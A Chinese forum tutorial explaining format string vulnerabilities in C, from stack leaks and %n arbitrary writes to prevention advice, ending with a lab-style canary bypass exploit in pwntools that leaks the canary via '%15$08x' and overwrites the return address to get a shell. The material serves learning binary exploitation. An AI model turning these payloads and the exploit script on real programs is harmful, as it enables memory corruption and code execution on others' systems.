roger 发表于 2020-12-14 21:35:50

格式化字符串一文入门到实战


入门普及:  简单介绍一下,这是一种利用格式字符串功能来实现信息泄漏,代码执行和实现DoS攻击的漏洞。随着平台SRC的诞生,还有安全人员越来越多,如今这些漏洞已变得罕见,当使用非恒定字符串调用格式函数时,大多数现代编译器都会生成警告,而这是此漏洞的根本原因。尽管如此,这个问题仍然值得理解学习。
那么具体什么是格式字符串?  格式字符串是包含格式说明符的字符串。它们被用于C语言和许多其他编程语言的格式函数中。例如,以下代码示例显示了C中printf()的工作方式。根据变量名中包含的内容,该语句将输出不同的句子。
  printf(“Hello, my name is %s.”, name);
  如果变量名称包含字符串“ 连云小李”,则printf()语句将输出:
  Hello, my name is 连云小李.
  注:这里特意用汉字,因为有的编译器汉字显示编码有问题,需要特别注意修改类似Unicode和utf-8
  接着是格式化函数和参数
  除了printf() 以外,还有许多格式函数,它们使用格式字符串来产生输出。例如在C语言中,有printf(),fprintf(),sprintf(),snprintf(),printf_s(),fprintf_s(),sprintf_s(),snprintf_s()等。
  而除了上面代码使用的%s外,还有许多不同的格式说明符。不同的格式说明符指示应将其替换为哪种数据类型:简单举几个例子
  %d用于带符号的十进制整数,
  %u代表十进制的无符号整数,
  %x是十六进制的无符号整数,
  %s表示数据指向字符串的指针。
  根据格式说明符规定的数据格式,格式函数检索从堆栈中请求的数据。
  printf(“A is the number %d, B is the string %s”, A, &B);
  上面的printf() 函数将尝试从堆栈中检索A的值和字符串B的地址。
那到底怎么利用格式函数呢?  当攻击者可以直接控制输入给函数的格式字符串时,就可以利用格式函数:看下面的示例,是不是很清晰?
  printf(“If the attacker can control me, you’re in trouble.”, A, B);
  当字符串中的格式说明符数量与用于填充这些位置的函数参数(如上面的A和B)数量不匹配时,将发生此漏洞。如果攻击者提供的占位符超过了参数个数,则可以使用格式函数来读取或写入堆栈。
  这里还需要补充一点关于堆栈的说明:
  堆栈涉及到数据结构的知识,不在本文的讨论范围内,这里便仅作简单叙述。
  现在只需要记住,局部变量和函数参数存储在堆栈中。这意味着,当声明局部变量或函数参数时,它将被压入堆栈。而当调用函数时,该函数也会从堆栈中获取数据。
  我们正式开始使用格式函数尝试泄漏程序信息:
  当攻击者提供的格式说明符多于函数参数来填充其位置时,想象一下会发生什么情况?当有两个格式说明符,但只有一个函数参数提供值时,printf() 会做什么?
  printf(“A is the number %d, reading stack data: %x”, A);
  printf() 仍将尝试从堆栈中检索两个值。但是由于堆栈上只有一个实际的函数参数(A)占据了这些位置,因此另一个值将被堆栈上下一个值替换。在这种情况下,printf() 将检索堆栈中的下一个值,并以十六进制格式显示它。
  因此,攻击者只需提供以下字符串即可读取堆栈上的大量数据:
  printf(“%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x”);
  看起来乱七八糟的,可能有点像WEB渗透中的SQL攻击的效果,这句代码将在堆栈上打印接下来的20个数据
  攻击者甚至可以通过使用特殊情况格式说明符直接访问堆栈上的第i个参数:
  printf("%10$x");
  这句代码将在堆栈上打印第十个元素
  很明显,这将导致堆栈数据泄漏:包括返回地址,局部变量和其他函数的参数。
  那再升级一下,如何在内存中的任何位置读取数据呢?
  当%s用作格式说明符时,该函数会将堆栈上的数据视为要从中获取字符串的地址。这称为引用传递。这意味着即使数据不在堆栈中,攻击者也有可能使用%s从任何地址读取。
  
  但是,具体又如何控制%s访问的地址?攻击者需要在堆栈上放置一个地址,并使%s取消引用该地址!
  更简便一点的情况下,格式字符串将会完全由攻击者控制存储在堆栈中!因此,如果攻击者可以将地址植入格式字符串中并让%s取消引用,则甚至可以访问堆栈之外的数据。
  printf(“\xef\xbe\xad\xde%x%x%x%s”, A, B, C);
  例如,上面的代码将导致printf() 打印位于地址0xdeadbeef的字符串。%x系列用于将堆栈遍历到格式字符串的位置,所需的%x数量会因情况而异。%s告诉printf() 处理的前四个字节的格式字符串作为指针指向打印的字符串。
  因为堆栈向下增长,并将函数参数逐一压入堆栈。然后,printf() 返回堆栈以检索参数值。
  通过提供额外的%s,攻击者强制printf() 从堆栈中访问另一个值,并将其视为指向字符串的4字节指针。
  因此printf() 打印出位于0xdeadbeef的字符串,该字符串是由格式字符串的前四个字节指定的地址。
  继续讲述在任何位置覆盖内存:
  在printf() 中,%n是一种特殊情况的格式说明符。%n不会被函数参数替换,而是将到目前为止写入的字符数存储到相应的函数参数中。
  例如,以下代码将整数5存储到变量num_char中
  int num_char;
  printf(“11111%n”, &num_char);
  有了伪输出字符和宽度控制格式说明符,攻击者现在可以将任意整数写入函数参数所指向的位置。
  下面是一个宽度控制格式说明符的示例,该说明符将帮助攻击者避免使用非常长的漏洞利用字符串,并允许攻击者访问任意位置,即使缓冲区不足以容纳所需的填充字符数也是如此。
  int num_char;
  printf(“%10d%n”, 0, &num_char);
  代码将显示 "          0",num_char为10
  而且,通过使用长度修饰符,攻击者可以通过精确度来控制写入的数据量。例如,%n会将4个字节写入目标地址,而%hn只会写入2个字节。
  printf(“%10d%n”, 0, &num_char);
  将4个字节写入&num_char
  printf(“%10d%hn”, 0, &num_char);
  将2个字节写入&num_char
  使用这些攻击艺术,攻击者可以写入任意内存位置。这可以使攻击者覆盖返回地址,函数指针,全局偏移量表(GOT)和析构函数表(DTORS),从而劫持程序流并执行任意代码。
  不仅如此,攻击者甚至可以使用格式函数导致程序崩溃
  由于%s的函数参数是通过引用传递的,因此对于格式字符串中的每个%s,该函数将从堆栈中检索一个值,将该值视为地址,然后打印出存储在该地址的字符串。
  但是堆栈上的值并不总是一个地址。它们可以是整数,字符或任何其他类型的数据。这意味着如果攻击者强制该函数将堆栈数据解释为一个地址,则该程序可能会遇到无效的地址并崩溃。
  注:这可能是一个不存在的地址,或者位于受保护的地址空间,如内核空间中。
  该漏洞利用字符串如下所示:
  printf (“%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s”);
  
  格式字符串中的%s越多,遇到无效地址的几率就越高。
  我们再讲讲防止格式字符串攻击:
  尽管现在针对二进制漏洞利用的对策(例如地址随机化)有助于使利用格式字符串漏洞变得更加困难,但防止此类漏洞发生的可靠方法是正确实现格式函数,从代码源头防御。
  使用格式函数时,重要的是避免直接将用户输入用作格式字符串。而是将用户输入作为替换格式说明符的函数参数传递。
  简而言之,用户输入应放在此处:
  printf(“string: %s”, USER_INPUT);
  而不是这里:
  printf(USER_INPUT, A, B);
  作为一种额外的更保险的安全措施,还应该始终对用户输入进行清理并检测清除危险字符。
案例提升:  原理讲完了,我们来“搞一波事情”:
  假设当我们拿到了对方一个二进制文件demo,并开启了canary保护,我们开始分析该文件,并绕过该保护。
  
  当对方开启canary保护时,系统会在函数开始前先想栈中插入一个cookie,当函数结束,栈帧销毁前会检测栈中cookie值是否被改变。
  为了更好理解,我们通过观察x86架构的局部栈帧结构来理解canary保护。
  当开启canary后,在函数的开头部分会取fs/gs寄存器0x28/0x14处的值存放在$ebp-0x8的位置,这便是插入cookie值。
  
  而在函数结束后,会进行异或比较判断cookie值是否发生改变。具体实现命令如下:
  //插入cookie的值
  movrax, qword ptr fs :
  movqword ptr, rax
  //xor比较cookie值是否改变
  movrdx, QWORD PTR
  xor rdx, QWORD PTR fs : 0x28
  je    0x4005d7 < main + 65 >
  call0x400460 < __stack_chk_fail@plt >
  如下图,为某函数开始前插入cookie时的操作,
  首先在p/x $eax 序言部分查看canary的值,这个canary值会随着每次程序运行进行动态改变。
那么如何绕过该保护呢?  我们利用前置知识提到过的字符串格式化漏洞,可以输出canary并利用溢出覆盖canary从而达到绕过。
  首先先编译一下给出的demo
  上文我们已经了解到Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。
  gdb canary.exe 进行程序调试,输入r进行运行程序,接着输入S将会进入vuln函数。
  disass vuln函数的反汇编,观察程序执行前后的操作。具体反汇编如下图:
  分析下上图,在函数序言部分插入canary值:
  0x080485fc <+6>:    moveax,gs:0x14
  0x08048602 <+12>:movDWORD PTR ,eax
  函数返回前,vuln函数返回前检测是否栈溢出
  0x08048640 <+74>:moveax,DWORD PTR
  0x08048643 <+77>:xoreax,DWORD PTR gs:0x14
  0x0804864a <+84>:je    0x8048651 <vuln+91>
  0x0804864c <+86>:call0x8048450 <__stack_chk_fail@plt>
  目前我们绕过思路如下:
  1.首先借用第一个read和printtf泄露出Canary的值
  2.利用第二个read进行覆盖:padding——canary——函数返回值。
  payload = "%15$08x"
  #P1:接受回显,并取出canary的值
  p.sendline(payload)
  ret = p.recv()
  #去掉换行符
  canary = ret[:8]
  print "canary is"+canary
  #P2:利用第二个read进行ROP
  offset_canary = 0xffffd64c - 0xffffd62c
  payload = 'a' * offset_canary #将栈覆盖到canary之前
  payload += (canary.decode("hex"))[::-1] #写入canary
  payload += 'b' * (2*4+4) #padding空+ebp
  payload += p32(shell_addr) #用后门函数覆盖ret
  
  p.sendline(payload)
  p.interactive()
  
  运行一下,成功执行了exploit函数,从而getshell。
  知识总结:
  最后总结一下:
  一般攻击者在进行栈溢出攻击时,是通过覆盖函数结束时ret的返回值所需的eip来进行程序的控制,而cookie值在ret返回地址return address的栈空间上面,因此当攻击者覆盖了return address时同时也会覆盖掉cookie值,这样在函数结束会检测出cookie值发生了改变,导致检测失败,程序中断,避免了程序被攻击者利用。这个cookie值即是canary value。
  如果使用不当,看似无害的格式函数可能会成为漏洞的主要来源。除C之外,许多其他编程语言都有其自己的格式函数,在使用它们输出数据之前,建议检查这些函数用法,并特别注意可能的安全隐患,避免漏洞发生。
通知!

页: [1]
查看完整版本: 格式化字符串一文入门到实战